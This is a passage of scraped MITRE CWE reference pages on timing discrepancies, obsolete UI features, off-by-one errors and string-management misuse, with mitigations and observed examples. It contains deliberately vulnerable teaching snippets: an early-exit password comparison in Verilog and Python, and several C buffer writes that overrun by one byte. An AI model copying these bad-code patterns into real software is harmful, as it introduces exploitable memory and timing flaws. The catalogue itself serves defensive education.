Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.203Observable Discrepancy
ParentOfBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.1254Incorrect Comparison Logic Granularity
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.327Use of a Broken or Risky Cryptographic Algorithm
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.385Covert Timing Channel
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.199Information Management Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Architectural Concepts" (CWE-1008)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1012Cross Cutting
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Architecture and DesignCOMMISSION: This weakness refers to an incorrect design related to an architectural security tactic.
Implementation
Operation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Confidentiality
Access Control

Technical Impact: Read Application Data; Bypass Protection Mechanism

+ Demonstrative Examples

Example 1

Consider an example hardware module that checks a user-provided password to grant access to a user. The user-provided password is compared against a golden value in a byte-by-byte manner.

(bad code)
Example Language: Verilog 
always_comb @ (posedge clk)

begin
assign check_pass[3:0] = 4'b0;
for (i = 0; i < 4; i++) begin
if (entered_pass[(i*8 - 1) : i] eq golden_pass([i*8 - 1) : i])
assign check_pass[i] = 1;
continue;
else
assign check_pass[i] = 0;
break;
end
assign grant_access = (check_pass == 4'b1111) ? 1'b1: 1'b0;
end

Since the code breaks on an incorrect entry of password, an attacker can guess the correct password for that byte-check iteration with few repeat attempts.

To fix this weakness, either the comparison of the entire string should be done all at once, or the attacker is not given an indication whether pass or fail happened by allowing the comparison to run through all bits before the grant_access signal is set.

(good code)
 
always_comb @ (posedge clk)
begin
assign check_pass[3:0] = 4'b0;
for (i = 0; i < 4; i++) begin
if (entered_pass[(i*8 - 1) : i] eq golden_pass([i*8 -1) : i])
assign check_pass[i] = 1;
continue;
else
assign check_pass[i] = 0;
continue;
end
assign grant_access = (check_pass == 4'b1111) ? 1'b1: 1'b0;
end

Example 2

In this example, the attacker observes how long an authentication takes when the user types in the correct password.

When the attacker tries their own values, they can first try strings of various length. When they find a string of the right length, the computation will take a bit longer, because the for loop will run at least once. Additionally, with this code, the attacker can possibly learn one character of the password at a time, because when they guess the first character right, the computation will take longer than a wrong guesses. Such an attack can break even the most sophisticated password with a few hundred guesses.

(bad code)
Example Language: Python 
def validate_password(actual_pw, typed_pw):
if len(actual_pw) <> len(typed_pw):
return 0

for i in len(actual_pw):
if actual_pw[i] <> typed_pw[i]:
return 0

return 1

Note that in this example, the actual password must be handled in constant time as far as the attacker is concerned, even if the actual password is of an unusual length. This is one reason why it is good to use an algorithm that, among other things, stores a seeded cryptographic one-way hash of the password, then compare the hashes, which will always be of the same length.

+ Observed Examples
ReferenceDescription
Java-oriented framework compares HMAC signatures using String.equals() instead of a constant-time algorithm, causing timing discrepancies
Smartphone OS uses comparison functions that are not in constant time, allowing side channels
Password-checking function in router terminates validation of a password entry when it encounters the first incorrect character, which allows remote attackers to obtain passwords via a brute-force attack that relies on timing differences in responses to incorrect password guesses, aka a timing side-channel attack.
SSL implementation does not perform a MAC computation if an incorrect block cipher padding is used, which causes an information leak (timing discrepancy) that may make it easier to launch cryptographic attacks that rely on distinguishing between padding and MAC verification errors, possibly leading to extraction of the original plaintext, aka the "Vaudenay timing attack."
Virtual machine allows malicious web site operators to determine the existence of files on the client by measuring delays in the execution of the getSystemResource method.
Product uses a shorter timeout for a non-existent user than a valid user, which makes it easier for remote attackers to guess usernames and conduct brute force password guessing.
Product immediately sends an error message when a user does not exist, which allows remote attackers to determine valid usernames via a timing attack.
FTP server responds in a different amount of time when a given username exists, which allows remote attackers to identify valid usernames by timing the server response.
Browser allows remote attackers to determine the existence of arbitrary files by setting the src property to the target filename and using Javascript to determine if the web page immediately stops loading, which indicates whether the file exists or not.
+ Functional Areas
  • Cryptography
  • Authentication
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.967SFP Secondary Cluster: State Disclosure
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1417Comprehensive Categorization: Sensitive Information Exposure
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

Often primary in cryptographic applications and algorithms.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERTiming discrepancy infoleak
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings
2008-10-14CWE Content TeamMITRE
updated Description
2010-09-27CWE Content TeamMITRE
updated Relationships
2011-03-29CWE Content TeamMITRE
updated Name
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Observed_Examples, Relationships
2014-06-23CWE Content TeamMITRE
updated Other_Notes, Related_Attack_Patterns
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-05-03CWE Content TeamMITRE
updated Related_Attack_Patterns
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, Modes_of_Introduction, Relationships
2020-02-24CWE Content TeamMITRE
updated Description, Name, Relationships
2020-06-25CWE Content TeamMITRE
updated Relationships
2023-01-31CWE Content TeamMITRE
updated Related_Attack_Patterns
2023-04-27CWE Content TeamMITRE
updated Observed_Examples, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes
2023-10-26CWE Content TeamMITRE
updated Demonstrative_Examples, Observed_Examples
2024-02-29
(CWE 4.14, 2024-02-29)
CWE Content TeamMITRE
updated Demonstrative_Examples
+ Previous Entry Names
Change DatePrevious Entry Name
2011-03-29Timing Discrepancy Information Leak
2020-02-24Information Exposure Through Timing Discrepancy

CWE-448: Obsolete Feature in UI

Weakness ID: 448
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A UI function is obsolete and the product does not warn the user.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.446UI Discrepancy for Security Feature
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.355User Interface Security Issues
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Other

Technical Impact: Quality Degradation; Varies by Context

+ Potential Mitigations

Phase: Architecture and Design

Remove the obsolete feature from the UI. Warn the user that the feature is no longer supported.
+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.995SFP Secondary Cluster: Feature
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1412Comprehensive Categorization: Poor Coding Practices
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVERObsolete feature in UI
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-07-01Eric DalciCigital
updated Potential_Mitigations, Time_of_Introduction
2008-09-08CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2012-05-11CWE Content TeamMITRE
updated Relationships
2012-10-30CWE Content TeamMITRE
updated Potential_Mitigations
2014-07-30CWE Content TeamMITRE
updated Relationships
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms
2020-02-24CWE Content TeamMITRE
updated Relationships
2023-04-27CWE Content TeamMITRE
updated Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-193: Off-by-one Error

Weakness ID: 193
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
For users who are interested in more notional aspects of a weakness. Example: educators, technical writers, and project/program managers. For users who are concerned with the practical application and details about the nature of a weakness and how to prevent it from happening. Example: tool developers, security researchers, pen-testers, incident response analysts. For users who are mapping an issue to CWE/CAPEC IDs, i.e., finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. For users who wish to see all available information for the CWE/CAPEC entry. For users who want to customize what details are displayed.
×

Edit Custom Filter


+ Description
A product calculates or uses an incorrect maximum or minimum value that is 1 more, or 1 less, than the correct value.
+ Alternate Terms
off-by-five:
An "off-by-five" error was reported for sudo in 2002 (CVE-2002-0184), but that is more like a "length calculation" error.
+ Relationships
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Research Concepts" (CWE-1000)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
CanPrecedeClassClass - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.119Improper Restriction of Operations within the Bounds of a Memory Buffer
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.170Improper Null Termination
CanPrecedeBaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.617Reachable Assertion
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Software Development" (CWE-699)
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.189Numeric Errors
Section HelpThis table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.
+ Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)
NatureTypeIDName
ChildOfPillarPillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.682Incorrect Calculation
+ Modes Of Introduction
Section HelpThe different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.
PhaseNote
Implementation
+ Applicable Platforms
Section HelpThis listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

+ Common Consequences
Section HelpThis table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.
ScopeImpactLikelihood
Availability

Technical Impact: DoS: Crash, Exit, or Restart; DoS: Resource Consumption (CPU); DoS: Resource Consumption (Memory); DoS: Instability

This weakness will generally lead to undefined behavior and therefore crashes. In the case of overflows involving loop index variables, the likelihood of infinite loops is also high.
Integrity

Technical Impact: Modify Memory

If the value in question is important to data (as opposed to flow), simple data corruption has occurred. Also, if the wrap around results in other conditions such as buffer overflows, further memory corruption may occur.
Confidentiality
Availability
Access Control

Technical Impact: Execute Unauthorized Code or Commands; Bypass Protection Mechanism

This weakness can sometimes trigger buffer overflows which can be used to execute arbitrary code. This is usually outside the scope of a program's implicit security policy.
+ Demonstrative Examples

Example 1

The following code allocates memory for a maximum number of widgets. It then gets a user-specified number of widgets, making sure that the user does not request too many. It then initializes the elements of the array using InitializeWidget(). Because the number of widgets can vary for each request, the code inserts a NULL pointer to signify the location of the last widget.

(bad code)
Example Language:
int i;
unsigned int numWidgets;
Widget **WidgetList;

numWidgets = GetUntrustedSizeValue();
if ((numWidgets == 0) || (numWidgets > MAX_NUM_WIDGETS)) {
ExitError("Incorrect number of widgets requested!");
}
WidgetList = (Widget **)malloc(numWidgets * sizeof(Widget *));
printf("WidgetList ptr=%p\n", WidgetList);
for(i=0; i<numWidgets; i++) {
WidgetList[i] = InitializeWidget();
}
WidgetList[numWidgets] = NULL;
showWidgets(WidgetList);

However, this code contains an off-by-one calculation error (CWE-193). It allocates exactly enough space to contain the specified number of widgets, but it does not include the space for the NULL pointer. As a result, the allocated buffer is smaller than it is supposed to be (CWE-131). So if the user ever requests MAX_NUM_WIDGETS, there is an out-of-bounds write (CWE-787) when the NULL is assigned. Depending on the environment and compilation settings, this could cause memory corruption.

Example 2

In this example, the code does not account for the terminating null character, and it writes one byte beyond the end of the buffer.

The first call to strncat() appends up to 20 characters plus a terminating null character to fullname[]. There is plenty of allocated space for this, and there is no weakness associated with this first call. However, the second call to strncat() potentially appends another 20 characters. The code does not account for the terminating null character that is automatically added by strncat(). This terminating null character would be written one byte beyond the end of the fullname[] buffer. Therefore an off-by-one error exists with the second strncat() call, as the third argument should be 19.

(bad code)
Example Language:
char firstname[20];
char lastname[20];
char fullname[40];

fullname[0] = '\0';

strncat(fullname, firstname, 20);
strncat(fullname, lastname, 20);

When using a function like strncat() one must leave a free byte at the end of the buffer for a terminating null character, thus avoiding the off-by-one weakness. Additionally, the last argument to strncat() is the number of characters to append, which must be less than the remaining space in the buffer. Be careful not to just use the total size of the buffer.

(good code)
Example Language:
char firstname[20];
char lastname[20];
char fullname[40];

fullname[0] = '\0';

strncat(fullname, firstname, sizeof(fullname)-strlen(fullname)-1);
strncat(fullname, lastname, sizeof(fullname)-strlen(fullname)-1);

Example 3

The Off-by-one error can also be manifested when reading characters from a character array within a for loop that has an incorrect continuation condition.

(bad code)
Example Language:
#define PATH_SIZE 60

char filename[PATH_SIZE];

for(i=0; i<=PATH_SIZE; i++) {
char c = getc();
if (c == 'EOF') {
filename[i] = '\0';
}

filename[i] = getc();
}

In this case, the correct continuation condition is shown below.

(good code)
Example Language:
for(i=0; i<PATH_SIZE; i++) {
...

Example 4

As another example the Off-by-one error can occur when using the sprintf library function to copy a string variable to a formatted string variable and the original string variable comes from an untrusted source. As in the following example where a local function, setFilename is used to store the value of a filename to a database but first uses sprintf to format the filename. The setFilename function includes an input parameter with the name of the file that is used as the copy source in the sprintf function. The sprintf function will copy the file name to a char array of size 20 and specifies the format of the new variable as 16 characters followed by the file extension .dat.

(bad code)
Example Language:
int setFilename(char *filename) {
char name[20];
sprintf(name, "%16s.dat", filename);
int success = saveFormattedFilenameToDB(name);
return success;
}

However this will cause an Off-by-one error if the original filename is exactly 16 characters or larger because the format of 16 characters with the file extension is exactly 20 characters and does not take into account the required null terminator that will be placed at the end of the string.

+ Observed Examples
ReferenceDescription
Off-by-one error allows remote attackers to cause a denial of service and possibly execute arbitrary code via requests that do not contain newlines.
Off-by-one vulnerability in driver allows users to modify kernel memory.
Off-by-one error allows local users or remote malicious servers to gain privileges.
Off-by-one buffer overflow in function usd by server allows local users to execute arbitrary code as the server user via .htaccess files with long entries.
Off-by-one buffer overflow in version control system allows local users to execute arbitrary code.
Off-by-one error in FTP server allows a remote attacker to cause a denial of service (crash) via a long PORT command.
Off-by-one buffer overflow in FTP server allows local users to gain privileges via a 1024 byte RETR command.
Multiple buffer overflows in chat client allow remote attackers to cause a denial of service and possibly execute arbitrary code.
Multiple off-by-one vulnerabilities in product allow remote attackers to cause a denial of service and possibly execute arbitrary code.
Off-by-one buffer overflow in server allows remote attackers to cause a denial of service and possibly execute arbitrary code.
This is an interesting example that might not be an off-by-one.
An off-by-one enables a terminating null to be overwritten, which causes 2 strings to be merged and enable a format string.
Off-by-one error allows source code disclosure of files with 4 letter extensions that match an accepted 3-letter extension.
Off-by-one buffer overflow.
Off-by-one error causes an snprintf call to overwrite a critical internal variable with a null value.
Off-by-one error in function used in many products leads to a buffer overflow during pathname management, as demonstrated using multiple commands in an FTP server.
Off-by-one error allows read of sensitive memory via a malformed request.
Chain: security monitoring product has an off-by-one error that leads to unexpected length values, triggering an assertion.
+ Potential Mitigations

Phase: Implementation

When copying character arrays or using character manipulation methods, the correct size parameter must be used to account for the null terminator that needs to be added at the end of the array. Some examples of functions susceptible to this weakness in C include strcpy(), strncpy(), strcat(), strncat(), printf(), sprintf(), scanf() and sscanf().
+ Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

+ Memberships
Section HelpThis MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.741CERT C Secure Coding Standard (2008) Chapter 8 - Characters and Strings (STR)
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.875CERT C++ Secure Coding Section 07 - Characters and Strings (STR)
MemberOfViewView - a subset of CWE entries that provides a way of examining CWE content. The two main view structures are Slices (flat lists) and Graphs (containing relationships between entries).884CWE Cross-section
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.977SFP Secondary Cluster: Design
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.1408Comprehensive Categorization: Incorrect Calculation
+ Vulnerability Mapping Notes

Usage: ALLOWED

(this CWE ID could be used to map to real-world vulnerabilities)

Reason: Acceptable-Use

Rationale:

This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.

Comments:

Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
+ Notes

Relationship

This is not always a buffer overflow. For example, an off-by-one error could be a factor in a partial comparison, a read from the wrong memory location, an incorrect conditional, etc.
+ Taxonomy Mappings
Mapped Taxonomy NameNode IDFitMapped Node Name
PLOVEROff-by-one Error
CERT C Secure CodingSTR31-CGuarantee that storage for strings has sufficient space for character data and the null terminator
+ References
[REF-155] Halvar Flake. "Third Generation Exploits". presentation at Black Hat Europe 2001. <https://view.officeapps.live.com/op/view.aspx?src=https%3A%2F%2Fwww.blackhat.com%2Fpresentations%2Fbh-europe-01%2Fhalvar-flake%2Fbh-europe-01-halvarflake.ppt&wdOrigin=BROWSELINK>. URL validated: 2023-04-07.
[REF-156] Steve Christey. "Off-by-one errors: a brief explanation". Secprog and SC-L mailing list posts. 2004-05-05. <http://marc.info/?l=secprog&m=108379742110553&w=2>.
[REF-157] klog. "The Frame Pointer Overwrite". Phrack Issue 55, Chapter 8. 1999-09-09. <https://kaizo.org/mirrors/phrack/phrack55/P55-08>. URL validated: 2023-04-07.
[REF-140] Greg Hoglund and Gary McGraw. "Exploiting Software: How to Break Code". Chapter 7, "Buffer Overflow". Addison-Wesley. 2004-02-27. <https://www.amazon.com/Exploiting-Software-How-Break-Code/dp/0201786958>. URL validated: 2023-04-07.
[REF-44] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 5: Buffer Overruns." Page 89. McGraw-Hill. 2010.
[REF-62] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 5, "Off-by-One Errors", Page 180. 1st Edition. Addison Wesley. 2006.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
PLOVER
+ Modifications
Modification DateModifierOrganization
2008-09-08CWE Content TeamMITRE
updated Alternate_Terms, Common_Consequences, Relationships, Observed_Example, Relationship_Notes, Taxonomy_Mappings
2008-11-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2009-12-28CWE Content TeamMITRE
updated Demonstrative_Examples, Potential_Mitigations
2010-02-16CWE Content TeamMITRE
updated Demonstrative_Examples
2010-12-13CWE Content TeamMITRE
updated Demonstrative_Examples
2011-06-01CWE Content TeamMITRE
updated Common_Consequences
2011-06-27CWE Content TeamMITRE
updated Common_Consequences
2011-09-13CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2012-05-11CWE Content TeamMITRE
updated Common_Consequences, Observed_Examples, References, Relationships
2014-06-23CWE Content TeamMITRE
updated References
2014-07-30CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2017-05-03CWE Content TeamMITRE
updated Demonstrative_Examples
2017-11-08CWE Content TeamMITRE
updated Applicable_Platforms, References, Taxonomy_Mappings
2018-03-27CWE Content TeamMITRE
updated Demonstrative_Examples
2019-06-20CWE Content TeamMITRE
updated Demonstrative_Examples, Relationships
2020-02-24CWE Content TeamMITRE
updated Relationships
2021-03-15CWE Content TeamMITRE
updated Demonstrative_Examples
2022-04-28CWE Content TeamMITRE
updated Research_Gaps
2023-04-27CWE Content TeamMITRE
updated Detection_Factors, References, Relationships
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE CATEGORY: Often Misused: String Management

Category ID: 251
Vulnerability Mapping: PROHIBITEDThis CWE ID must not be used to map to real-world vulnerabilities
+ Summary
Functions that manipulate strings encourage buffer overflows.
+ Membership
NatureTypeIDName
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.2277PK - API Abuse
MemberOfCategoryCategory - a CWE entry that contains a set of other entries that share a common characteristic.974SFP Secondary Cluster: Incorrect Buffer Length Computation
+ Vulnerability Mapping Notes

Usage: PROHIBITED

(this CWE ID must not be used to map to real-world vulnerabilities)

Reason: Category

Rationale:

This entry is a Category. Using categories for mapping has been discouraged since 2019. Categories are informal organizational groupings of weaknesses that can help CWE users with data aggregation, navigation, and browsing. However, they are not weaknesses in themselves.

Comments:

See member weaknesses of this category.
+ References
[REF-6] Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. NIST. 2005-11-07. <https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf>.
+ Content History
+ Submissions
Submission DateSubmitterOrganization
2006-07-19
(CWE Draft 3, 2006-07-19)
7 Pernicious Kingdoms
+ Modifications
Modification DateModifierOrganization
2008-08-01KDM Analytics
added/updated white box definitions
2008-09-08CWE Content TeamMITRE
updated Applicable_Platforms, Relationships, Taxonomy_Mappings
2017-11-08CWE Content TeamMITRE
updated Affected_Resources, Applicable_Platforms, Demonstrative_Examples, Relationships, White_Box_Definitions
2020-02-24CWE Content TeamMITRE
updated Relationships, Taxonomy_Mappings
2020-06-25CWE Content TeamMITRE
updated References
2023-04-27CWE Content TeamMITRE
updated Mapping_Notes
2023-06-29CWE Content TeamMITRE
updated Mapping_Notes

CWE-223: Omission of Security-relevant Information

Weakness ID: 223
Vulnerability Mapping: ALLOWEDThis CWE ID may be used to map to real-world vulnerabilities
Abstraction: BaseBase - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.
View customized information:
